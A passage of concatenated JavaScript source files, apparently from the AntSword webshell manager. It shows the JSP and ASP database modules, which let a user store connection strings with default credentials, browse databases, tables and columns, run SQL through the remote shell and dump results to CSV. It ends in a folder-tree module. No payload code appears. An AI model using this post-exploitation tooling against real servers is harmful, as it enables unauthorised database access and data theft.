true, name: 'type', options: (() => { let ret = []; for (let _ in this.conns) { ret.push({ text: _.toUpperCase(), value: _ }); } return ret; })() }, { type: 'input', label: LANG['form']['conn'], name: 'conn', required: true, value: 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456', rows: 9 }] }], true); form.attachEvent('onChange', (_, id) => { if (_ !== 'type') { return }; form.setFormData({ conn: this.conns[id] }); }); // toolbar.attachEvent('onClick', (id) => { switch (id) { case 'clear': form.clear(); break; case 'add': if (!form.validate()) { // return ''; return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let data = form.getValues(); // () const id = antSword['ipcRenderer'].sendSync('shell-addDataConf', { _id: this.manager.opt['_id'], data: data }); win.close(); toastr.success(LANG['form']['success'], LANG_T['success']); this .tree .insertNewItem(0, `conn::${id}`, // `${data['type']}:\/\/${data['user']}@${data['host']}`, data['type'].toUpperCase(), null, this.manager.list.imgs[0], this.manager.list.imgs[0], this.manager.list.imgs[0]); break; case 'test': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let _data = form.getValues(); win.progressOn(); this .core .request(this.core[`database_${_data['type']}`].show_databases({ encode: this.manager.opt.encode, conn: _data['conn'] })) .then((res) => { if (res['text'].length > 0) { if (res['text'].indexOf("ERROR://") > -1) { throw res["text"]; } toastr.success(LANG['form']['test_success'], LANG_T['success']); } else { toastr.warning(LANG['form']['test_warning'], LANG_T['warning']); } win.progressOff(); }) .catch((err) => { win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); break; } }); } // editConf() { const id = this .tree .getSelected() .split('::')[1]; // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); const hash = (+new Date * Math.random()) .toString(16) .substr(2, 8); // const win = this .manager .win .createWindow(hash, 0, 0, 450, 300); win.setText(LANG['form']['title']); win.centerOnScreen(); win .button('minmax') .hide(); win.setModal(true); win.denyResize(); // const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'edit', type: 'button', icon: 'edit', text: LANG['form']['toolbar']['edit'] }, { type: 'separator' }, { id: 'clear', type: 'button', icon: 'remove', text: LANG['form']['toolbar']['clear'] }, { type: 'separator' }, { id: 'test', type: 'button', icon: 'spinner', text: LANG['form']['toolbar']['test'] }]); // form const form = win.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 280 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: (() => { let ret = []; for (let _ in this.conns) { ret.push({ text: _.toUpperCase(), value: _, selected: conf['type'] === _ }); } return ret; })() }, { type: 'input', label: LANG['form']['conn'], name: 'conn', required: true, value: conf['conn'], rows: 9 }] }], true); form.attachEvent('onChange', (_, id) => { if (_ !== 'type') { return }; form.setFormData({ conn: this.conns[id] }); }); // toolbar.attachEvent('onClick', (id) => { switch (id) { case 'clear': form.clear(); break; case 'edit': if (!form.validate()) { // return ''; return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let data = form.getValues(); // () const id = antSword['ipcRenderer'].sendSync('shell-editDataConf', { _id: this.manager.opt['_id'], id: this .tree .getSelected() .split('::')[1], data: data }); win.close(); toastr.success(LANG['form']['success'], LANG_T['success']); // UI this.parse(); break; case 'test': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let _data = form.getValues(); win.progressOn(); this .core .request(this.core[`database_${_data['type']}`].show_databases({ encode: this.manager.opt.encode, conn: _data['conn'] })) .then((res) => { if (res['text'].length > 0) { if (res['text'].indexOf("ERROR://") > -1) { throw res["text"]; } toastr.success(LANG['form']['test_success'], LANG_T['success']); } else { toastr.warning(LANG['form']['test_warning'], LANG_T['warning']); } win.progressOff(); }) .catch((err) => { win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); break; } }); } // delConf() { const id = this .tree .getSelected() .split('::')[1]; layer.confirm(LANG['form']['del']['confirm'], { icon: 2, shift: 6, title: LANG['form']['del']['title'] }, (_) => { layer.close(_); const ret = antSword['ipcRenderer'].sendSync('shell-delDataConf', { _id: this.manager.opt['_id'], id: id }); if (ret === 1) { toastr.success(LANG['form']['del']['success'], LANG_T['success']); this .tree .deleteItem(`conn::${id}`); // this.disableToolbar(); this.disableEditor(); // ['edit', 'del'].map(this.toolbar::this.toolbar.disableItem); this.parse(); } else { toastr.error(LANG['form']['del']['error'](ret), LANG_T['error']); } }); } // getDatabases(id) { this.manager.list.layout.progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this .core .request(this.core[`database_${conf['type']}`].show_databases({ conn: conf['conn'], encode: this.manager.opt.encode, db: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database' })) .then((res) => { let ret = res['text']; const arr = ret.split('\t'); if (arr.length === 1 && ret === '') { toastr.warning(LANG['result']['warning'], LANG_T['warning']) return this .manager .list .layout .progressOff(); }; // this.tree.deleteChildItems(`conn::${id}`); // arr.map((_) => { if (!_) { return }; const _db = Buffer.from(antSword.unxss(_)).toString('base64'); this.tree.insertNewItem(`conn::${id}`, `database::${id}:${_db}`, _, null, this.manager.list.imgs[1], this.manager.list.imgs[1], this.manager.list.imgs[1]); }); this .manager .list .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['database'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .list .layout .progressOff(); }); } // getTables(id, db) { this .manager .list .layout .progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this .core .request(this.core[`database_${conf['type']}`].show_tables({ conn: conf['conn'], encode: this.manager.opt.encode, db: db })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); const _db = Buffer.from(db).toString('base64'); // this.tree.deleteChildItems(`database::${id}:${_db}`); // arr.map((_) => { if (!_) { return }; const _table = Buffer .from(antSword.unxss(_)) .toString('base64'); this .tree .insertNewItem(`database::${id}:${_db}`, `table::${id}:${_db}:${_table}`, _, null, this.manager.list.imgs[2], this.manager.list.imgs[2], this.manager.list.imgs[2]); }); this .manager .list .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['table'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .list .layout .progressOff(); }); } // getColumns(id, db, table) { this.manager.list.layout.progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this .core .request(this.core[`database_${conf['type']}`].show_columns({ conn: conf['conn'], encode: this.manager.opt.encode, db: db, table: table })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); const _db = Buffer.from(db).toString('base64'); const _table = Buffer.from(table).toString('base64'); // this .tree .deleteChildItems(`table::${id}:${_db}:${_table}`); // arr.map((_) => { if (!_) { return }; _ = antSword.unxss(_); const _column = Buffer.from(_.substr(0, _.lastIndexOf(' ') > 0 ? _.lastIndexOf(' ') : _.length)).toString('base64'); this .tree .insertNewItem(`table::${id}:${_db}:${_table}`, `column::${id}:${_db}:${_table}:${_column}`, antSword.noxss(_), null, this.manager.list.imgs[3], this.manager.list.imgs[3], this.manager.list.imgs[3]); }); // SQL let presql = ""; switch (this.dbconf['type']) { case 'mssql': case 'sqlsrv': presql = `SELECT TOP 20 * from [${table}] ORDER BY 1 DESC;`; break; case 'oracle': case 'oracle_oci8': presql = `SELECT * FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`; break; case 'postgresql': case 'postgresql_pdo': presql = `SELECT * FROM ${table} ORDER BY 1 DESC LIMIT 20 OFFSET 0;`; break; case 'sqlite3': case 'sqlite_pdo': presql = `SELECT * FROM "${db}"."${table}" ORDER BY 1 DESC limit 0,20;`; break; default: presql = `SELECT * FROM \`${db}\`.\`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; break; } this.manager.query.editor.session.setValue(presql); this.manager.list.layout.progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']); this.manager.list.layout.progressOff(); }); } // SQL execSQL(sql) { this.manager.query.layout.progressOn(); this .core .request(this.core[`database_${this.dbconf['type']}`].query({ conn: this.dbconf['conn'], encode: this.manager.opt.encode, sql: sql })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } // this.updateResult(ret); this .manager .query .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .query .layout .progressOff(); }); } parseResult(data) { // 1. const arr = data.split('\n'); // 2. if (arr.length < 2) { return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); }; // 3. let header_arr = (arr[0]).replace(/,/g, '&#44;').split('\t|\t'); if (header_arr.length === 1) { return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']); }; if (header_arr[header_arr.length - 1] === '\r') { header_arr.pop(); }; arr.shift(); // 4. let data_arr = []; arr.map((_) => { let _data = _.split('\t|\t'); for (let i = 0; i < _data.length; i++) { let buff = Buffer.from(_data[i], "base64"); let encoding = Decodes.detectEncoding(buff, { defaultEncoding: "unknown" }); if (encoding == "unknown") { encoding = this.dbconf['encode'] || ''; } encoding = encoding != "" ? encoding : this.opt.core.__opts__['encode']; let text = Decodes.decode(buff, encoding); _data[i] = antSword.noxss(text); } data_arr.push(_data); }); data_arr.pop(); return { headers: header_arr, datas: data_arr } } // SQL updateResult(data) { // 1. const arr = data.split('\n'); // 2. if (arr.length < 2) { return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); }; // 3. let header_arr = (arr[0]).replace(/,/g, '&#44;').split('\t|\t'); if (header_arr.length === 1) { return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']); }; if (header_arr[header_arr.length - 1] === '\r') { header_arr.pop(); }; arr.shift(); // 4. let data_arr = []; arr.map((_) => { let _data = _.split('\t|\t'); for (let i = 0; i < _data.length; i++) { let buff = new Buffer.from(_data[i], "base64"); let encoding = Decodes.detectEncoding(buff, { defaultEncoding: "unknown" }); if (encoding == "unknown") { encoding = this.dbconf['encode'] || ''; } encoding = encoding != "" ? encoding : this.opt.core.__opts__['encode']; let text = Decodes.decode(buff, encoding); _data[i] = antSword.noxss(text, false); } data_arr.push(_data); }); data_arr.pop(); // 5. const grid = this .manager .result .layout .attachGrid(); grid.clearAll(); grid.setHeader(header_arr.join(',').replace(/,$/, '')); grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/, '')); grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, '')); grid.setColumnMinWidth(100, header_arr.length - 1); grid.setInitWidths(("100,".repeat(header_arr.length - 1)) + "*"); grid.setEditable(true); grid.init(); // let grid_data = []; for (let i = 0; i < data_arr.length; i++) { grid_data.push({ id: i + 1, data: data_arr[i] }); } grid.parse({ 'rows': grid_data }, 'json'); // this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump'); } // dumpResult() { const grid = this .manager .result .layout .getAttachedObject(); let filename = `${this .core .__opts__ .ip}_${new Date() .format("yyyyMMddhhmmss")}.csv`; dialog.showSaveDialog({ title: LANG['result']['dump']['title'], defaultPath: filename }, (filePath) => { if (!filePath) { return; }; let headerStr = grid .hdrLabels .join(','); let dataStr = grid.serializeToCSV(); let tempDataBuffer = Buffer.from(headerStr + '\n' + dataStr); fs.writeFileSync(filePath, tempDataBuffer); toastr.success(LANG['result']['dump']['success'], LANG_T['success']); }); } // toolbar disableToolbar() { this .manager .list .toolbar .disableItem('del'); this .manager .list .toolbar .disableItem('edit'); this .manager .result .toolbar .disableItem('dump'); } // toolbar enableToolbar() { this .manager .list .toolbar .enableItem('del'); this .manager .list .toolbar .enableItem('edit'); } // SQL disableEditor() { ['exec', 'clear'].map(this.manager.query.toolbar.disableItem.bind(this.manager.query.toolbar)); this .manager .query .editor .setReadOnly(true); } // SQL enableEditor() { ['exec', 'clear'].map(this.manager.query.toolbar.enableItem.bind(this.manager.query.toolbar)); this .manager .query .editor .setReadOnly(false); } } module.exports = JSP; ```
/content/code_sandbox/source/modules/database/jsp/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
6,394
```javascript // // ::ASP :access,sqlserver,mysql // const LANG = antSword['language']['database']; const LANG_T = antSword['language']['toastr']; const dialog = antSword.remote.dialog; const fs = require('fs'); class ASP { constructor(opt) { this.opt = opt; this.core = this.opt.core; this.manager = this.opt.super; // // * // this.conns = { 'dsn': 'Dsn=DsnName;', 'mysql': 'Driver={MySQL};Server=localhost;database=mysql;UID=root;PWD=', 'access': 'Driver={Microsoft Access Driver(*.mdb)};DBQ=c:\\test.mdb', 'sqlserver': 'Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=', 'sqloledb_1': 'Provider=SQLOLEDB.1;User ID=sa;Password=;Initial Catalog=master;Data Source=(loc' + 'al);', 'sqloledb_1_sspi': 'Provider=SQLOLEDB.1;Initial Catalog=master;Data Source=(local);Integrated Securi' + 'ty=SSPI;', 'oracle': 'Provider=OraOLEDB.Oracle;Data Source=test;User Id=sys;Password=;Persist Security' + ' Info=True;', 'microsoft_jet_oledb_4_0': 'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\\test.mdb' }; // 1. TREE UI this.tree = this .manager .list .layout .attachTree(); // 2. this.parse(); // 3. tree::&& this .tree .attachEvent('onClick', (id) => { // id.startsWith('conn::') ? this.enableToolbar() : this.disableToolbar(); // const tmp = id.split('::'); const arr = tmp[1].split(':'); // this.dbconf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: arr[0] }); if (arr.length > 1) { this.dbconf['database'] = Buffer.from(arr[1], 'base64').toString(); // SQL this.enableEditor(); // manager.query.update(this.currentConf); } else { this.disableEditor(); } }); // 4. tree::// this .tree .attachEvent('onDblClick', (id) => { const arr = id.split('::'); if (arr.length < 2) { throw new Error('ID ERR: ' + id) }; switch (arr[0]) { // case 'conn': this.getDatabases(arr[1]); break; // case 'database': let _db = arr[1].split(':'); this.getTables(_db[0], Buffer.from(_db[1], 'base64').toString()); break; // case 'table': let _tb = arr[1].split(':'); this.getColumns(_tb[0], Buffer.from(_tb[1], 'base64').toString(), Buffer.from(_tb[2], 'base64').toString()); break; // SQL case 'column': let _co = arr[1].split(':'); const db = Buffer.from(_co[1], 'base64').toString(); const table = Buffer.from(_co[2], 'base64').toString(); const column = Buffer.from(_co[3], 'base64').toString(); let sql = ""; switch (this.dbconf['type']) { case 'mysql': sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; break; case 'oracle': sql = `SELECT "${table}"."${column}" FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`; break; default: sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`; break; } this .manager .query .editor .session .setValue(sql); break; } }); // 5. tree:: this .tree .attachEvent('onRightClick', (id, event) => { if (!id.startsWith('conn::')) { return }; this .tree .selectItem(id); this .tree .callEvent('onClick', [id]); bmenu([{ text: LANG['list']['menu']['add'], icon: 'fa fa-plus-circle', action: this .addConf .bind(this) }, { divider: true }, { text: LANG['list']['menu']['edit'], icon: 'fa fa-edit', action: this .editConf .bind(this) }, { divider: true }, { text: LANG['list']['menu']['del'], icon: 'fa fa-remove', action: this .delConf .bind(this) }], event); }); } // parse() { // const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']); const conf = info['database'] || {}; // UI 1. this .tree .deleteChildItems(0); // 2. let items = []; for (let _ in conf) { items.push({ id: `conn::${_}`, // text: `${conf[_]['type']}:\/\/${conf[_]['user']}@${conf[_]['host']}`, text: antSword.noxss(conf[_]['type'].toUpperCase()), im0: this.manager.list.imgs[0], im1: this.manager.list.imgs[0], im2: this.manager.list.imgs[0] }); } // 3.UI this .tree .parse({ id: 0, item: items }, 'json'); // this.disableToolbar(); this.disableEditor(); } // addConf() { const hash = (+new Date * Math.random()) .toString(16) .substr(2, 8); // const win = this .manager .win .createWindow(hash, 0, 0, 450, 300); win.setText(LANG['form']['title']); win.centerOnScreen(); win .button('minmax') .hide(); win.setModal(true); win.denyResize(); // const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'add', type: 'button', icon: 'plus-circle', text: LANG['form']['toolbar']['add'] }, { type: 'separator' }, { id: 'clear', type: 'button', icon: 'remove', text: LANG['form']['toolbar']['clear'] }, { type: 'separator' }, { id: 'test', type: 'button', icon: 'spinner', text: LANG['form']['toolbar']['test'] }]); // form const form = win.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 280 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: (() => { let ret = []; for (let _ in this.conns) { ret.push({ text: _.toUpperCase(), value: _ }); } return ret; })() }, { type: 'input', label: LANG['form']['conn'], name: 'conn', required: true, value: 'Dsn=DsnName;', rows: 9 }] }], true); form.attachEvent('onChange', (_, id) => { if (_ !== 'type') { return }; form.setFormData({ conn: this.conns[id] }); }); // toolbar.attachEvent('onClick', (id) => { switch (id) { case 'clear': form.clear(); break; case 'add': if (!form.validate()) { // return ''; return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let data = form.getValues(); // () const id = antSword['ipcRenderer'].sendSync('shell-addDataConf', { _id: this.manager.opt['_id'], data: data }); win.close(); toastr.success(LANG['form']['success'], LANG_T['success']); this .tree .insertNewItem(0, `conn::${id}`, // `${data['type']}:\/\/${data['user']}@${data['host']}`, data['type'].toUpperCase(), null, this.manager.list.imgs[0], this.manager.list.imgs[0], this.manager.list.imgs[0]); break; case 'test': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let _data = form.getValues(); win.progressOn(); this .core .request(this.core[`database_${_data['type']}`].show_databases({ conn: _data['conn'] })) .then((res) => { if (res['text'].length > 0) { if (res['text'].indexOf("ERROR://") > -1) { throw res["text"]; } toastr.success(LANG['form']['test_success'], LANG_T['success']); } else { toastr.warning(LANG['form']['test_warning'], LANG_T['warning']); } win.progressOff(); }) .catch((err) => { win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); break; } }); } // editConf() { const id = this .tree .getSelected() .split('::')[1]; // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); const hash = (+new Date * Math.random()) .toString(16) .substr(2, 8); // const win = this .manager .win .createWindow(hash, 0, 0, 450, 300); win.setText(LANG['form']['title']); win.centerOnScreen(); win .button('minmax') .hide(); win.setModal(true); win.denyResize(); // const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'edit', type: 'button', icon: 'edit', text: LANG['form']['toolbar']['edit'] }, { type: 'separator' }, { id: 'clear', type: 'button', icon: 'remove', text: LANG['form']['toolbar']['clear'] }, { type: 'separator' }, { id: 'test', type: 'button', icon: 'spinner', text: LANG['form']['toolbar']['test'] }]); // form const form = win.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 280 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: (() => { let ret = []; for (let _ in this.conns) { ret.push({ text: _.toUpperCase(), value: _, selected: conf['type'] === _ }); } return ret; })() }, { type: 'input', label: LANG['form']['conn'], name: 'conn', required: true, value: conf['conn'], rows: 9 }] }], true); form.attachEvent('onChange', (_, id) => { if (_ !== 'type') { return }; form.setFormData({ conn: this.conns[id] }); }); // toolbar.attachEvent('onClick', (id) => { switch (id) { case 'clear': form.clear(); break; case 'edit': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let data = form.getValues(); // () const id = antSword['ipcRenderer'].sendSync('shell-editDataConf', { _id: this.manager.opt['_id'], id: this .tree .getSelected() .split('::')[1], data: data }); win.close(); toastr.success(LANG['form']['success'], LANG_T['success']); // UI this.parse(); break; case 'test': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let _data = form.getValues(); win.progressOn(); this .core .request(this.core[`database_${_data['type']}`].show_databases({ conn: _data['conn'] })) .then((res) => { if (res['text'].length > 0) { if (res['text'].indexOf("ERROR://") > -1) { throw res["text"]; } toastr.success(LANG['form']['test_success'], LANG_T['success']); } else { toastr.warning(LANG['form']['test_warning'], LANG_T['warning']); } win.progressOff(); }) .catch((err) => { win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); break; } }); } // delConf() { const id = this .tree .getSelected() .split('::')[1]; layer.confirm(LANG['form']['del']['confirm'], { icon: 2, shift: 6, title: LANG['form']['del']['title'] }, (_) => { layer.close(_); const ret = antSword['ipcRenderer'].sendSync('shell-delDataConf', { _id: this.manager.opt['_id'], id: id }); if (ret === 1) { toastr.success(LANG['form']['del']['success'], LANG_T['success']); this .tree .deleteItem(`conn::${id}`); // this.disableToolbar(); this.disableEditor(); // ['edit', 'del'].map(this.toolbar::this.toolbar.disableItem); this.parse(); } else { toastr.error(LANG['form']['del']['error'](ret), LANG_T['error']); } }); } // getDatabases(id) { this .manager .list .layout .progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this .core .request(this.core[`database_${conf['type']}`].show_databases({ conn: conf['conn'], dbname: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database' })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); if (arr.length === 1 && ret === '') { toastr.warning(LANG['result']['warning'], LANG_T['warning']); return this .manager .list .layout .progressOff(); }; // this .tree .deleteChildItems(`conn::${id}`); // arr.map((_) => { if (!_) { return }; const _db = Buffer .from(antSword.unxss(_)) .toString('base64'); this .tree .insertNewItem(`conn::${id}`, `database::${id}:${_db}`, _, null, this.manager.list.imgs[1], this.manager.list.imgs[1], this.manager.list.imgs[1]); }); this .manager .list .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['database'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .list .layout .progressOff(); }); } // getTables(id, db) { this .manager .list .layout .progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this .core .request(this.core[`database_${conf['type']}`].show_tables({ conn: conf['conn'], dbname: db })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); const _db = Buffer .from(db) .toString('base64'); // this .tree .deleteChildItems(`database::${id}:${_db}`); // arr.map((_) => { if (!_) { return }; const _table = Buffer .from(antSword.unxss(_)) .toString('base64'); this .tree .insertNewItem(`database::${id}:${_db}`, `table::${id}:${_db}:${_table}`, _, null, this.manager.list.imgs[2], this.manager.list.imgs[2], this.manager.list.imgs[2]); }); this .manager .list .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['table'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .list .layout .progressOff(); }); } // getColumns(id, db, table) { this .manager .list .layout .progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); let sql = ""; switch (conf['type']) { case "oracle": sql = `SELECT COLUMN_NAME,DATA_TYPE,DATA_LENGTH FROM ALL_TAB_COLUMNS WHERE OWNER='${db}' AND TABLE_NAME='${table}' ORDER BY COLUMN_ID`; break; case 'sqlserver': case 'sqloledb_1': case 'sqloledb_1_sspi': sql = `USE [${this.dbconf['database']}];SELECT TOP 0 * FROM ${table}`; break; case 'mysql': sql = `SELECT * FROM ${table} LIMIT 0,0;`; break; default: sql = `SELECT TOP 1 * FROM ${table} ORDER BY 1 DESC`; break; } this .core .request(this.core[`database_${conf['type']}`].show_columns({ conn: conf['conn'], table: sql })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); const _db = Buffer .from(db) .toString('base64'); const _table = Buffer .from(table) .toString('base64'); // this .tree .deleteChildItems(`table::${id}:${_db}:${_table}`); // arr.map((_) => { if (!_) { return }; _ = antSword.unxss(_); const _column = Buffer .from(_.substr(0, _.lastIndexOf(' '))) .toString('base64'); this .tree .insertNewItem(`table::${id}:${_db}:${_table}`, `column::${id}:${_db}:${_table}:${_column}`, antSword.noxss(_), null, this.manager.list.imgs[3], this.manager.list.imgs[3], this.manager.list.imgs[3]); }); let presql = ""; switch (this.dbconf['type']) { case 'mysql': presql = `SELECT * FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; break; case 'oracle': presql = `SELECT * FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`; break; default: presql = `SELECT TOP 20 * from [${table}] ORDER BY 1 DESC;`; break; } // SQL this .manager .query .editor .session .setValue(presql); this .manager .list .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .list .layout .progressOff(); }); } // SQL execSQL(sql) { this .manager .query .layout .progressOn(); this .core .request(this.core[`database_${this.dbconf['type']}`].query({ conn: this.dbconf['conn'], sql: sql, dbname: this.dbconf['database'] })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } // this.updateResult(ret); this .manager .query .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .query .layout .progressOff(); }); } // SQL updateResult(data) { // 1. const arr = data.split('\n'); // let arr = []; _arr.map((_) => { arr.push(antSword.noxss(_)); }); // console.log(_arr, arr); 2. if (arr.length < 2) { return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); }; // 3. let header_arr = (arr[0]).replace(/,/g, '&#44;').split('\t|\t'); if (header_arr.length === 1) { return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']); }; if (header_arr[header_arr.length - 1] === '\r') { header_arr.pop(); }; arr.shift(); // 4. let data_arr = []; arr.map((_) => { let _data = _.split('\t|\t'); data_arr.push(_data); }); data_arr.pop(); // 5. const grid = this .manager .result .layout .attachGrid(); grid.clearAll(); grid.setHeader(header_arr.join(',').replace(/,$/, '')); grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/, '')); grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, '')); grid.setColumnMinWidth(100, header_arr.length - 1); grid.setInitWidths(("100,".repeat(header_arr.length - 1)) + "*"); grid.setEditable(true); grid.init(); // let grid_data = []; for (let i = 0; i < data_arr.length; i++) { grid_data.push({ id: i + 1, data: data_arr[i] }); } grid.parse({ 'rows': grid_data }, 'json'); // this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump'); } // dumpResult() { const grid = this .manager .result .layout .getAttachedObject(); let filename = `${this .core .__opts__ .ip}_${new Date() .format("yyyyMMddhhmmss")}.csv`; dialog.showSaveDialog({ title: LANG['result']['dump']['title'], defaultPath: filename }, (filePath) => { if (!filePath) { return; }; let headerStr = grid .hdrLabels .join(','); let dataStr = grid.serializeToCSV(); let tempDataBuffer = Buffer.from(headerStr + '\n' + dataStr); fs.writeFileSync(filePath, tempDataBuffer); toastr.success(LANG['result']['dump']['success'], LANG_T['success']); }); } // toolbar disableToolbar() { this .manager .list .toolbar .disableItem('del'); this .manager .list .toolbar .disableItem('edit'); this .manager .result .toolbar .disableItem('dump'); } // toolbar enableToolbar() { this .manager .list .toolbar .enableItem('del'); this .manager .list .toolbar .enableItem('edit'); } // SQL disableEditor() { ['exec', 'clear'].map(this.manager.query.toolbar.disableItem.bind(this.manager.query.toolbar)); this .manager .query .editor .setReadOnly(true); } // SQL enableEditor() { ['exec', 'clear'].map(this.manager.query.toolbar.enableItem.bind(this.manager.query.toolbar)); this .manager .query .editor .setReadOnly(false); } } module.exports = ASP; ```
/content/code_sandbox/source/modules/database/asp/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
6,106
```javascript // // // const LANG_T = antSword['language']['toastr']; const LANG = antSword['language']['filemanager']['folder']; class Folder { // 1.cell: layout.cell constructor(cell, manager) { cell.setWidth(250); // tree let tree = cell.attachTree(); // tree tree.attachEvent('onClick', (id) => { manager .files .gotoPath(id); }); tree.attachEvent('onDblClick', (id) => { return; }); this.tree = tree; this.cell = cell; this.cache = {}; this.manager = manager; this.setTitle(0); } parse(files) { let self = this; // let path = this .manager .path .replace(/\/$/, ''); // this .manager .devices .map((_) => { self.cache[_] = {}; self .tree .deleteItem(_); }); // self .tree .deleteChildItems(self.tree.rootId); // 1. let curPath = ''; path .split('/') .map((p) => { curPath += `${p}/`; // self.cache[curPath] = 0; }); // 2. let folderNum = 0; files.map((f) => { let _ = f['name']; if (!_.endsWith('/') || ['./', '../'].indexOf(_) !== -1) { return }; self.cache[`${curPath}${_}`] = 0; folderNum++; }); // this.setTitle(folderNum); // 3. /var/www/html / let vscache = {}; let parseObj = (o, p) => { let start = p.substr(0, p.indexOf('/')) + '/'; let end = p.substr(start.length); o[start] = o[start] || {}; if (end.length > 0) { parseObj(o[start], end); } } for (let c in self.cache) { parseObj(vscache, c); } // let parseItem = (obj, path) => { let _arr = []; for (let _ in obj) { let _path = path + _; let _obj = { id: (_path), text: antSword.noxss((_.length === 1 || (_.endsWith(':/') && _.length === 3)) ? _ : _.replace(/\/$/, '')) }; let 